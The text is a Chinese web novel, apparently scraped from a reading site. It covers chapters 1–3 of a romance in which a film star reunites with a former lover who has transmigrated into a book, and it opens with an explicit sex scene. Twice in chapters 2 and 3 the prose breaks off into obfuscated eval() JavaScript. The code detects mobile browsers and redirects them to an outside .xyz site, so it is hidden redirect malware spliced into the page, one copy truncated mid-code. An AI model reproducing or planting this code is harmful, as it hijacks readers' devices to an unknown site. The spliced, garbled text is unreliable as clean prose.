《穿书后成了顶流影帝的白月光》 1. 第 1 章 窗帘拉得严严实实,隔绝了所有夜色,只有一盏台灯,在墙上晕开两团模糊纠缠的影子。 润滑剂的瓶子歪倒在床单上,漏出一小滩水痕。粗重的喘息在密闭的房间里显得格外清晰,空气沉甸甸的,吸满了皮革蒸腾的热意和某种难以言喻的浓稠甜腥。 枕头上,男人偏过头,半张脸陷在柔软的织物里。灯光沿着他绷紧的后背流淌,后背绷出漂亮的肩胛骨轮廓,像一对被暖光浸透、随时要破皮而出的蝶翼。 床单在他紧攥的指下皱成一团,指节用力到泛白。每一次难以承受的力道传来,他手臂上的筋脉便绷紧暴起,像被拉到极限的弓弦,突突地跳动着。 他皮肤偏白,此刻却蒸腾着薄红。而覆在他身上的阴影里,另一具躯体的肤色更像冷白的瓷器。汗珠在那起伏的肌理上蜿蜒,汇聚,最终悬停在腰际那凹陷的涡旋里,像一颗颗被体温煨热后,摇摇欲坠的星子。 床头板冰凉的触感,隔着不到半寸的距离,若有若无地刺着他的额头。每一次无意识的向前挪蹭,都让那点凉意更靠近一分。 他撑在床头的手掌被床垫深处传来的震动撞得发麻。 这姿势倍感狼狈了。 …… “……”他把脸更深地埋进枕头,耳根滚烫,像要烧起来。 忽然,一点温热的气息拂过耳后,男人不由屏住了呼吸。身后湿热的胸膛紧密地贴合着他的脊背,毫无间隙。对方每一次急促的吸气、呼气,以及那细微到几乎难以察觉的震颤,都透过相贴的皮肤清晰地传递过来。 这静止般的相拥,竟也有几分说不出的温情。 鬼使神差地,他侧过头,用自己滚烫的脸颊,轻轻蹭了蹭对方汗湿的鬓角。这近乎本能的亲昵触碰,让覆在他身上的人眼睑倏地抬起,两道锐利的目光直直射像他。 猝不及防的四目相对,他眼底那片还未来得及收拾的浓稠迷恋,就这样毫无遮掩地撞进对方的视线里。 身上的人明显一僵,像烫到似的,手臂发力就要撑起身体退开。 昏黄的灯光描摹着那张脸,漂亮得近乎锋利,薄情的眉眼此刻染着动情的潮红,连带着惊怒的瞪视都蒙上了一层湿漉漉的雾气,显得毫无威慑,反而有种奇异的柔软。 唯独紧绷的下颌线,固执地泄露出一丝强撑的倔强,反倒让这瞬间的表情鲜活了起来,带着孩子气的别扭。 他看得心头一悸动,着了魔般,忽然伸出手,一把圈住了对方正要撤离的手腕。 被握住的人只是微微一怔,竟没有立刻挣脱。眼睫低垂,在鼻梁投下一小片细密的阴影。 沉默在两人之间弥漫。 男人面上闪过一丝喜色,喉结滚动了一下,压下几乎要撞出胸膛的紧张,声音带着点不稳的沙哑,低声道:“......换个姿势。” 空气的凝滞感加剧,比刚才更甚。 他清晰地感觉到对方手腕的肌肉愈发绷紧,相贴的皮肤下,那股暖流正迅速退潮,只留下黏腻的湿冷,几乎要渗进彼此的血液里。 这种冰冷的沉默,他太熟悉了。像一盆冰水兜头浇下。 理智在尖叫着放手,可今天不知怎么了。他固执地锁住对方的视线,那“看着他”的念头在血管里奔突冲撞,撞得他太阳穴突突作响。 “趴久了......”他拙劣地找着借口,“喘不过气。” 死寂在房间里膨胀。他狠狠咬住口腔内侧的软肉,铁锈的腥气瞬间在舌尖弥漫开,刺痛着清醒。 “让我......看着你...”他声音抖得不成样子,几乎是气音里挤出的哀求。 那人浓密的睫毛又细微颤了颤。他忽然想起深夜电脑屏幕的荧光,那些藏在匿名论坛里的露骨字句,此刻竟一句句在耳边炸开,烫得耳根发麻。 羞耻感洪水般涌上来,瞬间没顶。可他竟不管不顾地,任由那被碾碎的自尊从齿缝里漏出来:“我想看着你/我。” 原来人真的可以卑微到尘埃里,只为了汲取对方眼底一点微光。他闭了闭眼,放任自己向这无望的深渊坠落。 话一刚落,覆在身上的躯体更是绷紧如铁。紧接着,是那熟悉到冷人惊慌的抽离感。 对方竟要退开。 “别走!” 他色厉内荏地喝令,向来克制的情绪决了堤,眼眶被灼烫的液体逼得生疼。 可对方动作未停,那份炙热的触感正一寸寸剥离。就在那连接即将彻底断开的瞬间,恐惧攫住了他。 男人挣扎着想要翻身挽留,却猛地被一股不容抗拒的力道狠狠按回床褥深处,重新被钉在那片灼热与窒息的中心。 “呃!” 钝痛和骤然被重新填满的触感带来一丝荒谬的心安,随即又被汹涌却无处宣泄的委屈彻底淹没。 “为什么......”他整张脸埋在枕头里,声音被布料吸得支离破碎,几乎只剩下气声,“这么多年了......性别这一道坎......就真的...迈不过去吗?” “可这......我怎么改得了。” “嗡——” 周君珩从梦中惊醒,额前的碎发被汗水浸得透湿。床头的手机震个不停,他看都没看,抬手狠狠擦掉脸上的泪痕。 七年了。他以为早忘了。 周君珩扯动嘴角,喉间溢出一声自嘲的冷笑。 一辆通体漆黑的保姆车驶过两百米长的银杏林大道,最终停在一处灰墙黛瓦的别墅区前。 车内,左右两侧各坐着一人。 副驾驶上,元华推了推银丝眼镜,手机屏幕的光映在他略显疲惫的脸上。他正刷着一条“#周君珩机场#”的脱粉视频,眉头越皱越紧。 视频里,昨晚的机场乱得像一锅粥。接机口挤得水泄不通,粉丝们踮着脚尖往前涌,长枪短炮的镜头齐刷刷对准人群中央那个身影。 周君珩戴着口罩,遮住了大半张脸,可即便如此,也难以掩盖他那凌厉的眉骨。 他单手插兜走在工作人员开出的窄道上,肩背挺得笔直,自带一股生人勿近的气场。 视频前面还算有序。粉丝们默契地随着他的步伐后退,不时传来“哥哥注意身体!”“新戏什么时候开机?”的关切喊声。 周君珩偶尔朝声源方向微微颔首。就这简简单单的回应,在站姐们眼里都能成绝佳素材,足够剪出多个令人心动的苏点混剪。 到了视频后半部分,变故陡生。 周君珩非常突兀地僵在原地。透过口罩上沿,能看见他的瞳孔骤缩,望着右前方某处,里头有着难以置信的惊愕和某种近乎疯狂的急切。 身后那群粉丝可遭了殃。这帮小姑娘原本跟得挺整齐,这下全乱了套,你撞我我踩你,像一群没头苍蝇撞成了一团。 周君珩对这些骚动视而不见。他猝然发了狠,搡开护在他身侧的手臂,不管不顾往人群里扎。 前排粉丝轰然炸了锅。“周君珩!周君珩!”的尖叫声此起彼伏,无数双手在空中乱抓。有个小姑娘被挤得踉跄,带着哭腔喊“别挤了”,可这声转眼就被更大的声浪吞没。 元华看着屏幕里那个完全陌生的周君珩,手指无意识地揉搓着眼角,怀疑自己是不是熬夜产生了幻觉。 平心而论,在经纪人这个行当里,元华觉得自己算是捡着宝了。带周君珩这些年,简直省心到让人怀疑人生。该出席的活动从不迟到,该配合的宣传从不推脱,就连最难搞的媒体采访,他都能应付得滴水不漏。 周君珩这个人吧,天生就带着股不怒自威的气场。元华到现在都记得第一次见他的场景,那人就那么坐着,眼皮都懒得抬一下,奇怪的是居然让人一点都不觉得被冒犯。 他生得一副极好的骨相,眉骨到鼻梁的线条像山脊般利落,下颌的弧度干净锋利。好看是好看,却总带着几分生人勿近的冷意。 圈里人都说周君珩是天生的明星料子,可元华知道,那都是人家骨子里的教养撑着。就像他对待粉丝,虽然从来不搞什么亲民路线,但该有的礼貌一点不少,距离把握得刚刚好。 可眼前这视频...这个失了分寸的周君珩,反常得让他心里发毛。 “有意思...”元华眯起 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手机在兜里震个不停,工作室群里消息刷得飞快,#周君珩推搡粉丝#的热搜虽然被压到二十开外了,但广场上还有几个营销号在暗戳戳带节奏。 不过元华倒是不怎么担心。就凭周家在这圈子里的人脉,这点风波连个水花都算不上。他更好奇的是,这位平日里八风不动的祖宗,到底看见什么了能让他当众失态。 “今天的通告单发你了。”元华清了清嗓子,跟报菜名似的开始念,“上午十点杂志拍摄,下午三点品牌方要来谈续约的事,晚上还有个时尚活动。” 后座传来一声几不可闻的轻哼。周君珩把墨镜往下拉了半寸,露出那双标志性的丹凤眼。 “推了。” “哪个?” “全部。” 元华转头时瞥见他眼尾泛着不自然的红。昨儿半夜才从跨省路演赶回来,机场那出闹剧又折腾到后半夜,他只当周君珩是没休息好的缘故,便不再多话。 电话那头的杂志方倒是好说话,满口答应调整档期。能不好说话么?周家的背景加上三金影帝的招牌,够让他们全团队乖乖等着。 “人怎么样了?” 后座突然蹦出这么一句,元华愣了两秒才反应过来他问的是机场摔倒的那个粉丝。 “右脚裸扭伤,片子显示没骨折。”他划拉着平板调出医院发来的邮件,往后座递,“其他没啥大碍,公司已经派人全程跟进了。” 本以为这事就算翻篇了,没想到五分钟后,后座飘来一句,那语气轻淡又不容置疑。 “去医院吧。” 元华瞅了眼后视镜,周君珩依然保持着仰靠的姿势,墨镜后的表情看不真切。 周君珩主动提出去医院看摔伤的粉丝,意外,却也不算意外。他要做的事,从来只按自己的意愿来。 不过倒是个扭转舆论的好机会,元华已经在心里盘算着通稿该怎么写。 想了一会,思绪不由飘到刚接手周君珩那会儿。圈里有点门路的都知道这位的背景,多数人都是观望态度。毕竟这样的公子哥,谁知道是不是一时兴起?连元华自己都暗自腹诽,怕是带不了几个月这位少爷就得撂挑子。 但这世上就是有这么一种人,老天爷追着喂饭吃,偏生还比谁都拼命。元华见过周君珩为了一场情绪戏,反复揣摩到深夜;NG几十条也不见半点不耐,大冬天淋雨戏一条过,冻得嘴唇发紫还在跟导演讨论人物动机。那股子较真劲儿,连导演都暗自咂舌。 那部电影上映后,所有质疑声都哑了火。 说来也巧,让周君珩一炮而红的也是个新人的作品。 元华隐约记得当时有些捕风捉影的传闻,说周君珩入行就是为了这部戏,甚至为此有过什么争执。他当时没太在意,毕竟圈里最不缺的就是各种流言。 后座传来轻微的响动,元华这才回神。后视镜里,他看见周君珩抬手调整了下墨镜,目光长久地落在手机屏幕上,像是要把那小小的方寸之地看穿。元华几乎以为时间静止了,才见他终于动了动手指。 2. 第 2 章 落地窗外的阳光斜切进来,在实木地板上划出一道明暗交界线,细小的灰尘在光柱里懒洋洋地打着转。 陈丽华攥着茶杯,指节绷得发白。茶水早凉透了,杯沿沾着半圈口红印。她死死盯着对面那个连头都懒得抬一下的男人,心口那团火闷烧着,越窜越高。 半小时前,门铃不依不饶地响到第三遍,褚亭玉才慢悠悠地来开门。一声“妈”都没叫,直接把她晾在玄关,自顾自转身往里走。等陈丽华跟进来,她的儿子已经窝进沙发里,正慢条斯理地修剪着指甲。 想喝口热茶还得自己动手。她故意把杯碟碰得叮当响,可对方始终无动于衷。 褚亭玉歪在单人沙发里,左腿曲起踩在沙发边缘,像只养尊处优又目中无人的猫。略长的发尾垂落在颈侧,随着他修剪指甲的动作轻轻晃动。银色指甲剪每发出“咔”的一声脆响,陈丽华的眼皮就跟着狠狠一跳。 剪完一片,他眯起眼,对着光仔细端详指甲床的弧度,似乎颇为满意。 “你都回国半个月了,”陈丽华终于压不住火,“公司那边到底打算什么时候去露面?” 回答她的只有空气里凝滞的沉默。她胸口一堵,刚要发作。 “右手剪得总是不顺手。”褚亭玉冷不丁开口,换了个姿势,手肘支在膝盖上,后脑勺对着她。睡衣领口歪斜着,露出一截苍白的脖颈,阳光穿透皮肤,几乎能看见底下淡青色的血管脉络。 “你爸昨天又问起...”陈丽华深吸了一口气,刚起个头。 “啧,剪歪了。”褚亭玉对着食指皱眉,下一秒,居然直接用牙咬掉了那片残余的甲片。这个突兀又孩子气的动作,让他看起来像个桀骜不驯的少年,尽管他早已二十八岁。 茶杯重重砸在茶几上,茶水泼溅出来,在光洁的玻璃面上画出歪歪扭扭的图案。 “林乔伊最近在拉拢董事会那帮老狐狸!”陈丽华一把抓起包,腾地站起来,“那贱人表面装得人畜无害,背地里比谁都狠!”她胸口剧烈起伏,声音里淬着毒,“你再这么吊儿拉当下去,等公司落到她手里,你我连西北风都喝不上!” 褚亭玉终于转过脸来。那张脸生得极好,好到近乎锋利,是那种扎进人眼里就拔不出的长相。眉骨投下的阴影里,一双眼睛黑沉沉的,像是能把周遭的光都吸进去。 陈丽华被他这么盯着,后颈的汗毛一根根竖了起来。 “陈女士,”他放下指甲剪,声音淡得像白开水,“这些年锦衣玉食,都把您养出不该有的心思了。”指尖随意一抬,袖口滑下半寸,露出的腕骨白得刺眼,“门在那边,不送。” “哈!”陈丽华从鼻腔里挤出一声短促的冷笑,红唇勾起讥诮的弧度,“现在倒是学会摆谱了?当年是谁像条饿狼似的,闻着肉腥味就跟在我屁股后面挤进林家?”她突然俯下身,浓烈到呛人的香水味裹挟着怒火兜头压过来,“怎么,在国外镀了层金,就真当自己是个人物了?” 褚亭玉眉峰几不可见地蹙了一下。那甜腻的香水味仿佛是有实体,直往他鼻腔里钻。他向后更深地陷进沙发里,动作优雅却带着毫不掩饰的嫌恶,全然无视陈丽华瞬间铁青扭曲的脸色。 “林秋元让你明天去见见叶家那丫头。”陈丽华直起身,高跟鞋踩在地板上,发出一串尖锐刺耳的声响。她走到门口,霍然转身,“等林乔伊那贱人站稳了脚跟,第一个被清算的是我,第二个就是你这条养不熟的白眼狼!” 门板砸在门框上的巨响震得头顶的水晶吊灯簌簌乱颤。 可沙发上的男人,依旧维持着修剪指甲的姿势,眼皮都没抬一下。 褚亭玉垂着眼睫,气定神闲地将最后一片指甲修剪圆润。 他缓缓起身,修长的身形在落地窗前拉出一道利落冷硬的剪影。过耳的黑发在阳光里泛着冷调的光泽,衬得他本就苍白的肤色,透出一种病态的透明感。骨节分明的手指拎起那个沾着刺眼口红印的茶杯,眉头厌恶地一拧,连杯带碟,“哐当”一声扔进了垃圾桶。 手机屏幕亮起,陈丽华的短信跳出来,密密麻麻列着叶家千金的资料和明日会面的餐厅地址。他扫了一眼,正要删除…… “建议保留。”机械音突兀地在脑中响起,“该角色与宿主存在婚约关系,删除将导致剧情偏离。” 褚亭玉的指尖顿在半空,“原著里没这段。” 作为前期小反派,作者哪会浪费笔墨在这种无关紧要的相亲戏码上。 “虽原书未提及,但此为原主能否与叶家联姻的关键节点,请按原定时间出席。”系统一板一眼地解释,带着不容置疑的意味,“宿主承诺过会完成基础剧情线。” 他盯着屏幕上那个陌生女孩公式化的笑脸,嘴角扯出一个冷淡的弧度。 “知道了。”他划掉短信界面,点开外卖软件,语气里带着几分厌烦,“随你。” 随意选了个套餐下单,手机被他像丢垃圾一样仍到旁边。 褚亭玉推开书房门,黑色真丝睡衣随着步伐无声滑动,衣角翻飞间,隐约可见劲瘦利落的腰线。他打开笔记本电脑,修长的手指落在键盘上,起初是规律清晰的“哒哒”声,渐渐就乱了章法。 光标在屏幕上固执地闪烁,他的视线却早已飘远。 这是第二次了。 第一次被丢进这个世界时,那个不靠谱的系统连书名都报不全,丢下一句“去反馈”就消失得无影无踪。 他险些以为自己要被永远囚禁在这堆文字砌成的虚假牢笼里。 直到某天,系统毫无征兆地重新上线。解释说绑定他是程序错误,随时能送他回原世界。 前世的记忆瞬间涌上来。惨烈的车祸,精心设计的局,还有那刻骨铭心、未曾得报的血仇...... 褚亭玉走得干脆利落,毫无留念,仿佛这个世界不过是场可以随时存档退出的无聊游戏。 复仇的快意来得快去得也快。他开始频繁地被同一双眼睛缠住。漆黑如墨,执拗得像生了根,死死钉在他的记忆深处,甩不掉,也剜不掉。 “你走后,原主的身体很快消失了。”系统的声音依旧机械,“但他是前期重要的反派。” 系统提出交易:褚亭玉返回书中世界,完成原主该走的剧情线,作为回报,它将赠送一个健全的身体。 只是没料到,再穿进来,已是七年之后。 第二天下午,褚亭玉跟着导航在这座陌生的城市绕了半天,毫不意外地迟到了。等他赶到约定餐厅时,靠窗的位置已经坐了人。 叶蓁蓁第三次低头看表,指尖不耐烦地在手机屏幕上戳了两下。她点开闺蜜群,噼里啪啦地打字:“救命!相亲对象迟到二十分钟了!连个屁都没有,这种连基本时间观念都没有的男人......” 消息还没发完,一股无名火拱上来,她赌气似的又补了一句:“听说还是个见不得光的私生子,果然没教养!” 发出去那一瞬,她自己都愣了下。这话刻薄得过分,但此刻烦躁的情绪占了上风。她正打算拎包走人,便感觉头顶的光线被遮住了一片。 “抱歉,让你久等了。” 这声音像一捧清冽的雪水,猝不及防地浇灭了叶蓁蓁的焦躁。她愕然抬头,逆光里站着一个高挑的身影。那人黑发略长,脑后随意扎着个小揪,几缕不听话的碎发垂在颈边,随着动作轻晃。 “高架桥出了事故,堵了半个钟。”褚亭玉拉开椅子坐下,声音平静,却莫名让人听出一丝诚恳。 叶蓁蓁下意识把手机屏幕朝下扣在桌上。光线挪开,她终于看清对方的脸。 轮廓清晰利落,皮肤在黑色毛衣衬托下白得几乎透明,浓密的睫毛在眼下投出一小片扇形的阴影。更要命的是她道歉时微微抿起的唇角,竟透出几分不合时宜的无辜感。 她喉咙发紧,轻咳一声,语气不由自主地软了三分:“......没事,我也,刚到没多久。” 话一出口,她就恨不得咬掉舌头。这谎撒得也太拙劣了。 褚亭玉坐下后,没碰侍者送来的柠檬水。 “叶小姐,”他双手交叠放在桌面上,“我们开门见山吧。” “两家的状况,彼此心知肚明。若是你没意见,挑个日子,就把订婚宴定下来?” 叶蓁蓁搅拌咖啡的银匙猛地停住。她抬头看他,荒谬感油然而生。 “褚先生,”她放下小匙,尾音拖长,“你平时说话...都这么...”她指尖在空中虚虚画了个圈,“单刀直入?” “省时间。”褚亭玉略一颔首,“走过场的事,何必浪费彼此精力。” 叶蓁蓁被他这过分坦率的实诚逗得差点笑出声。哪个女孩没做过浪漫邂逅的梦?可惜轮到自己头上,却成赤裸裸的商业联姻。 不过......这人眉眼生得实在精致,到也不算太亏。 她端起咖啡抿了一小口,压下那点笑意,“那至少加个联系方式?以后总不能靠飞鸽传书吧。” 褚亭玉掏出手机,解锁,屏幕亮起冷白的光。 叶蓁蓁扫完二维码,状似随意地闲聊:“很少见人姓褚呢,是随母姓?” “姥姥的姓。”褚亭玉回答简洁,收回手机的动作干脆利落。 叶蓁蓁悄悄抬眼打量,褚亭玉神色如常,既没因这略显冒昧的问题皱一下眉,眼底也寻不到半分不耐。 她心里忍不住嘀咕:倒是个沉得住气的。 叶蓁蓁刚把手机塞回包里,餐厅另一侧的卡座里,元华正给对面唾沫横飞地讲着新剧本的导演刘鑫添水。 “所以我们打算用一镜到底的长镜头...”刘鑫说着说着,声音戛然而止,目光越过元华肩膀,“哎?那不是叶家的大小姐吗?” 元华顺着他的视线望去。靠窗的位置坐着个穿米色裙子的年轻女孩,对面是个背对他们的男人,只能看到挺拔的背影和脑后那个随意扎起的的小发揪。 两人本就是来等人的,闲着也是闲着,便心照不宣地竖起了耳朵。 听着听着,听出一点苗头。元华用剧本挡着嘴,压低声音:“联姻?” “十有八九。”刘鑫露出个了然于胸的笑容,“叶家最近不是在到处找靠山么。”他眯起眼,打量着那个背影,“嚯!这男的...气质倒是不俗。” 元华刚想探头细看,口袋里的手机嗡嗡震动起来。 是周君珩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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元华还抻着脖子,目光黏在褚亭玉身上:“你说...我过去要个联系方式......”职业病犯了,看到好苗子就心痒难耐。 “消停点吧!”刘鑫能理解元华的惜才之心,但也觉得他异想天开,毕竟不是哪个豪门之子都能像周君珩那样愿意抛头露脸,“人家未婚妻可还在那儿坐着呢!别找不痛快!” 叶蓁蓁似乎察觉到什么,突然转头看向他们这桌。元华吓得立刻缩回脖子,假装埋头研究剧本,手肘一歪,差点带翻周君珩面前的咖啡杯。 “哎呦!对不住对不住......”元华手忙脚乱地道歉。 “第三场戏的机位有问题。”周君珩头也不抬地打断,指尖精准地点在分镜图上,“轨道这样走,镜头必然穿帮。”声音平稳,听不出情绪。 叶蓁蓁又狐疑地朝那桌瞥了一眼。那两个交头接耳的男人鬼鬼祟祟的,倒是旁边坐着的那位......她眯了眯眼,总觉得那张脸有点眼熟,像是在哪见过。 “看什么呢?”褚亭玉的声音毫无征兆地在耳边响起。他身上带着洗手间淡淡的檀木香,不知何时已经回到了座位。 “啊?没...没什么。”叶蓁蓁慌忙收回视线,念头一转,“对了,我今天没开车......” “嗯,送你。”褚亭玉言简意赅,顺手拿起搭在椅背上的外套。 他话音才落,那边猛地传来“哐当”一声巨响! 叶蓁蓁惊得转头,看见刚才那个眼熟的男人像是被电击般从座位上弹了起来,面前的咖啡杯翻倒,深褐色的液体泼洒了一桌子。那人死死盯着他们,眼神像是要把褚亭玉的背影盯穿。 看清那张失态的脸,叶蓁蓁脑中灵光一闪。 她想起来了! 这不是影帝周君珩吗? “那个......”叶蓁蓁刚想提醒,褚亭玉已经拎着她的包,径直走到了过道上。 他连头都没回一下,脚步甚至没有丝毫停顿。 这人怎么回事?后面这么大动静都没反应? 她小跑两步追上,忍不住又回头看了一眼。周君珩像尊雕塑般僵在原地,指节捏得咯咯作响,手背上青筋暴起。那张经常出现在大银幕上的俊脸此刻惨白得吓人,深邃的眼眸里翻涌着惊涛骇浪般的情绪,复杂得让她心惊。 两人刚走到旋转门入口,身后骤然响起一阵急促慌乱的脚步声! 叶蓁蓁还没反应过来,一道黑色的影子已如离弦之箭般冲了过来,一把死死扣住了褚亭玉的手腕。 “褚亭玉。” 这三个字像是从齿缝里硬生生挤出来的,带着一种濒临破碎的嘶哑。 叶蓁蓁甚至看见周君珩的喉结剧烈地上下滚动了一下,仿佛在强行吞咽着什么哽在喉咙里的硬物。 褚亭玉终于转过身。浓密的睫毛几不可察的颤动了一下,脸上却平静得如同一潭死水:“松手。” 那只扣住他手腕的手非但没松,反而像铁钳般骤然收紧,指甲几乎嵌进皮肉里。 叶蓁蓁惊愕地发现,这位荧幕上永远从容优雅的影帝先生,此刻眼眶通红,浓密的睫毛上竟挂着细小的水珠,整个人脆弱得仿佛轻轻一碰就会彻底碎裂。 “七年。”他手指神经质地收紧,声音抖得不成样子,每一个字都像是从肺腑里艰难地撕扯出来,“连条短信......都没有?” 褚亭玉静静地看着他,那双深不见底的黑眸里看不出任何波澜。过了几秒,他嘴角竟极轻地向上弯了一下,露出一个近乎温柔的笑意:“周君珩,你弄疼我了。” 3. 第 3 章 褚亭玉自欺欺人般昏睡了一整天,身下的木板床硬得硌人。 他再睁开眼,眼前依旧是那片陌生的、斑驳泛黄的天花板。空气里有一股旧房子特有的、混合着灰尘和淡淡潮气的味道。 没有消毒水,没有血腥气,也没有轮胎摩擦地面的尖叫。 他撑着身子坐起,视线扫过这间屋子。 狭小,逼仄。 一张堆满课本的旧书桌,一把掉了漆的椅子,墙上贴着几张褪色的明星海报。窗帘半拉着,透进外面灰蒙蒙的光线。 不是梦。 车祸是真的。死亡是真的。穿书......也是真的。 他闭上眼,深深吸了一口气,空气灌入肺腑,勉强压下喉咙口翻涌的血腥味和几乎要破胸而出的滔天恨意。再睁开时,那双深不见底的眼眸里,只剩下深潭般的死寂,以及一种近乎虚无的平静。 褚亭玉赤脚下床,冰凉粗糙的地板贴着脚心,走到书桌旁,那面边缘模糊的镜子前。 镜子里映出一张过分年轻的脸孔。苍白,五官精致得近乎锐利,眉眼轮廓深邃,带着少年特有的青涩骨架,却被一股浓得化不开的阴郁和沉冷覆盖着。 这张脸......像得惊人。活脱脱是年轻了十岁的自己。 只是更单薄,更脆弱,连左脸下方那颗小小的、淡褐色的痣的位置都分毫不差。他面无表情地与镜中人对视,镜中人回以同样毫无生气的凝视。 褚亭玉缓缓抬起手,镜中少年亦步亦趋。那只手,修长,骨节分明,带着少年人的纤细感,同样苍白得能看清皮肤下淡青色的血管。 视线移到镜框,落在一旁的学生证上。一寸红底照片旁边,印着几行小字。 海城一中高二(7)班。 指甲缓慢而用力划过姓名栏那三个字。 “褚亭玉......”他对着镜子,无声地动了动嘴唇。声音低哑干涩,带着一种确认,也带着一种被强行嵌入的割裂感。 同名同姓。一样的长相。连那该死的......都一模一样。 很好。这玩笑开得够拙劣,够他妈荒谬。 他漠然移开视线,不再看镜子里那个陌生的少年。转身,拉开那把吱呀作响的椅子坐下。动作带着一种浑然天成的优雅,与这寒酸的环境形成刺目的对比。 “系统。”他在脑中唤道,声音平直、冷硬。 “宿主意识已完全清醒,生命体征平稳,系统运行正常。”冰冷的电子音即刻响应,毫无起伏。 褚亭玉随手拨弄了一下桌上摊开的练习本,语气比那电子音更凉薄:“回不去也认了。把这身体原来的记忆,给我。” 脑海中短暂的沉默。接着,那个毫无情绪的电子音再次响起,吐出的内容却让他荒谬得想冷笑。 “世界背景检索中......” “警告:数据库核心模块‘世界树图鉴(小说类)’在穿梭过程中遭遇未知能量风暴,关键数据......损毁。检索失败。” “......”褚亭玉简直不敢相信自己的耳朵,“你把我弄到这鬼地方,一开始信誓旦旦说这是本破书形成的世界,现在告诉我你连书名叫什么都不知道?关键数据......还丢了?” “是的。”系统的回答不带丝毫歉意,“仅确认当前小说衍生的次级小世界。具体书名、剧情、人物关系等核心数据......均已损毁,暂时无法恢复。” “......” 褚亭玉忍了忍,终究没压住那口浊气。 “废物!” 系统:“......” “笃、笃、笃。” 敲门声轻缓,带着试探。紧接着一个苍老却柔和得像棉絮的声音响起:“亭玉?醒了吗?睡了一天了,肚子空了吧?姥姥熬了粥,给你温着呢。” 褚亭玉动作一滞,目光投向那扇薄薄的木门。 姥姥?原主的亲人。 随着话音,强烈的饥饿感汹涌袭来,胃部发出清晰的咕噜声抗议。 他起身,径直走到门口,拧开那有些滞涩的门把手。 门外站着一位头发花白、身形微拘的老人。脸上皱纹深刻,眼神却清亮有神,盛满了毫不掩饰的关切。看到褚亭玉开门,她咧嘴一笑,眼角的皱纹挤得更深。 “哎哟,可算醒了。睡这么久,真把姥姥心都揪起来了。”老人的声音带着点后怕的嗔怪,想伸手摸摸他的额头,手抬到一半又顿住了,只是殷切地上下打量他,“脸色白刷刷的......饿坏了吧?快去洗把脸,粥还热乎着呢,姥姥这就给你盛。” 褚亭玉的目光在她布满岁月痕迹的脸上停留了一瞬,那纯粹的、不带任何杂志的关切,像一根极细的针,在他心尖某个冰封的角落,极其微弱地刺了一下,快得来不及捕捉。 他几不可察地颔首,转身走进窄小的卫生间,拧开水龙头。冰凉的水拍在脸上,让他混乱的思绪稍微清晰了一点。 “快过来坐。”老人看到褚亭玉出来,摇手招呼他过来,自己也在对面坐下,拿起一个包子掰开,“趁热吃,胃里空了一天,得吃点软的暖暖。” 褚亭玉拉开椅子坐下。硬木板凳,旧方桌。这环境与他前世习惯的云端天差地别,但他脸上没有半分局促或嫌弃,只有一种置身事外的平静。 他拿起勺子,舀起一勺稠厚的白粥,吹了吹,送入口中。 温热、软糯、带着谷物朴实的香甜瞬间在口腔里弥漫开。一种久违的、属于食物的慰藉感,奇异地抚平了胃部的焦灼,也让他紧绷的神经稍稍松弛了一丝。 他沉默地吃着,动作不疾不徐,带着一份无需言表的得体。 老人坐在对面咬了口包子,看着他,忽然“咦”了一声:“今儿瞧着......精气神是不一样哈?”她目光扫过褚亭玉拿筷子的手,那动作的沉稳和眉眼间那份说不出的气度,是过去那个总是低着头、阴郁的外孙身上未曾出现过的。 褚亭玉的手没有丝毫停顿,恍若未闻。 她嚼着包子,很快又释然地笑了:“也是,睡足了觉比啥灵丹妙药都强。多吃点青菜,刚摘的,嫩着呢。”她说着,很自然地用自己的筷子夹了一大筷子翠绿油亮的青菜放到褚亭玉碗里的粥边上。 褚亭玉抬起眼皮,在那堆突兀的绿色上停顿了一瞬,随即扫过老人那张皱纹深刻却坦荡的脸。他沉默了片刻,没有拒绝,用勺子将青菜连同温热的粥一起送入口中,慢慢咀嚼。 “......嗯。”他极其轻微地从鼻腔里应了一声,算是回应。 他继续低头,安静地喝完最后一口粥,碗底干干净净。 老人立刻探身问:“饱了没?锅里还有......” “饱了。”褚亭玉打断她,站起身,他看向老人,平直地吐出两个字:“......谢谢。” 语气平淡,没有多少情绪起伏,更像是一种基于教养的礼节性回应。 老人收拾碗筷的手顿在半空,脸上闪过一丝惊讶,随即是更深的笑容,带着点爽朗的笑容:“嗨!跟姥姥还谢啥外道话。饱了就行,快回屋歇着去。” 褚亭玉没再多言,转身回房间。 他站在房间中央,第一次真正审视这个属于原主的空间。 逼仄,陈旧。 他的视线最终落在房间里最显眼的一件家具上——一个约莫一米五长的旧衣柜。 他走过去,伸手拉开衣柜门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871348|176218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 一股淡淡的樟脑丸混合着旧布料的味道扑面而来。 下一秒,褚亭玉的动作僵住了。下颌线无声地收紧,绷得像块冷硬的石头。他周身的空气也凝滞了一瞬。 衣柜里,除了几件洗得发白的、样式土气的男生T恤和校服裤子,赫然悬挂着几件......女孩子的衣物。 这些衣物,簇新,带着一种刺眼的、格格不入的柔美气息,挤在那些灰扑扑的男装中间,显得异常突兀。 褚亭玉的目光在那条水蓝色裙子上极快地掠过,像被什么蜇了一下,迅速移开。握着柜门边缘的手指猛地收紧,指节因过度用力而凸起,泛着一点白。胸腔里那处熟悉的闷胀感,毫无预兆地尖锐了一下,带起一阵冰冷的、生理性的反胃。 他猛地甩上了柜门。 一声闷响在狭小的空间里炸开,震得空气都在微微颤动。 他背对着衣柜,胸口起伏了两下闭上眼,再睁开时,眼底那片深潭似乎结了更厚的冰,只剩下死水般的沉寂。 就在这时,一阵刺耳又单调的铃声在房间里炸响。 褚亭玉眉心狠狠一拧,锐利的目光扫过,精准落在书桌角落一个被书包半掩着、灰扑扑的长方形物体上。 他走过去,粗暴地拨开碍事的书包,拿起那东西。 